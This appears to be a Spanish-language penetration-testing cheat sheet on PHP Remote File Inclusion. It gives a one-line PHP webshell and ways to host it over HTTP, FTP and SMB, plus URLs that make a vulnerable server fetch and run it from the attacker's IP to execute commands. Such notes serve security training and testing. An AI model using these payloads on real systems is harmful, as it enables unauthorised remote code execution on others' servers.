Remote File Inclusion (RFI)
RFI es una variante de LFI en la que, en vez de incluir un archivo local del servidor, la aplicación permite incluir un archivo alojado en un servidor remoto controlado por el atacante. Requiere que la directiva allow_url_include de PHP esté habilitada (deshabilitada por defecto desde PHP 5.2), por lo que su prevalencia es menor que la de LFI, pero el impacto es igual de crítico: ejecución remota de código directa.
Verificar si RFI es viable
Confirmar que allow_url_include está activo (ver también lfi.md, sección de PHP wrappers, para cómo extraer y leer el php.ini):
❯ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = OnProbar una inclusión remota simple, apuntando a un recurso propio del mismo servidor (loopback) como prueba de concepto no intrusiva:
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.phpRCE con RFI vía HTTP
❯ echo '<?php system($_GET["cmd"]); ?>' > shell.phpLevantar un servidor HTTP simple para alojar el webshell:
❯ sudo python3 -m http.server <LISTENING_PORT>
Serving HTTP on 0.0.0.0 port <LISTENING_PORT> (http://0.0.0.0:<LISTENING_PORT>/) ...Incluir el archivo remoto y ejecutar comandos:
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id- El servidor vulnerable descarga
shell.phpdesde el servidor del atacante y lo ejecuta como si fuera un archivo PHP local — esto funciona incluso si el servidor objetivo no puede escribir en su propio sistema de archivos, ya que el código nunca se guarda en disco del lado del servidor vulnerable.
RCE con RFI vía FTP
Alternativa cuando el tráfico HTTP saliente está bloqueado por un firewall, pero FTP no:
❯ sudo python -m pyftpdlib -p 21
[SNIP] >>> starting FTP server on 0.0.0.0:21, pid=23686 <<<
[SNIP] concurrency model: async
[SNIP] masquerade (NAT) address: None
[SNIP] passive ports: NoneInclusión anónima:
http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=idCon credenciales (si el servidor FTP las requiere, o si se quiere especificar explícitamente):
❯ curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
...SNIP...
uid=33(www-data) gid=33(www-data) groups=33(www-data)RCE con RFI vía SMB
Alternativa específica para objetivos Windows, donde PHP puede resolver rutas UNC como si fueran locales:
❯ impacket-smbserver -smb2support share $(pwd)
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami-smb2support: habilita soporte SMBv2, requerido por defecto en muchas configuraciones modernas de Windows para poder autenticar la conexión.- Esta técnica es particularmente útil cuando el objetivo es un servidor Windows con IIS/PHP, ya que las rutas UNC (
\\IP\share\archivo) son nativas del sistema operativo y no requieren configuración adicional del lado servidor más allá del RFI mismo.
Comparativa de protocolos para RFI
| Protocolo | Cuándo usarlo | Consideraciones |
|---|---|---|
| HTTP | Caso por defecto, más simple de levantar (python3 -m http.server). | Requiere que el servidor vulnerable pueda hacer peticiones salientes por HTTP. |
| FTP | Cuando el firewall del objetivo bloquea HTTP saliente pero no FTP. | Requiere un servidor FTP propio (pyftpdlib); soporta autenticación anónima o con credenciales. |
| SMB | Objetivos Windows, o cuando se busca alternativa a HTTP/FTP. | Requiere impacket-smbserver; usa rutas UNC en vez de URLs. |
Notas de explotación
- Siempre verificar primero con una inclusión "inocua" (como el loopback a
127.0.0.1) antes de intentar RCE directa, para confirmar que el mecanismo de inclusión remota funciona sin generar ruido innecesario. - Si
allow_url_includeestá deshabilitado peroallow_url_fopensigue activo (el valor por defecto), RFI clásico no funcionará, pero los wrappersdata:///php://inputde LFI (verlfi.md) siguen siendo viables como alternativa, ya que dependen de un flag distinto.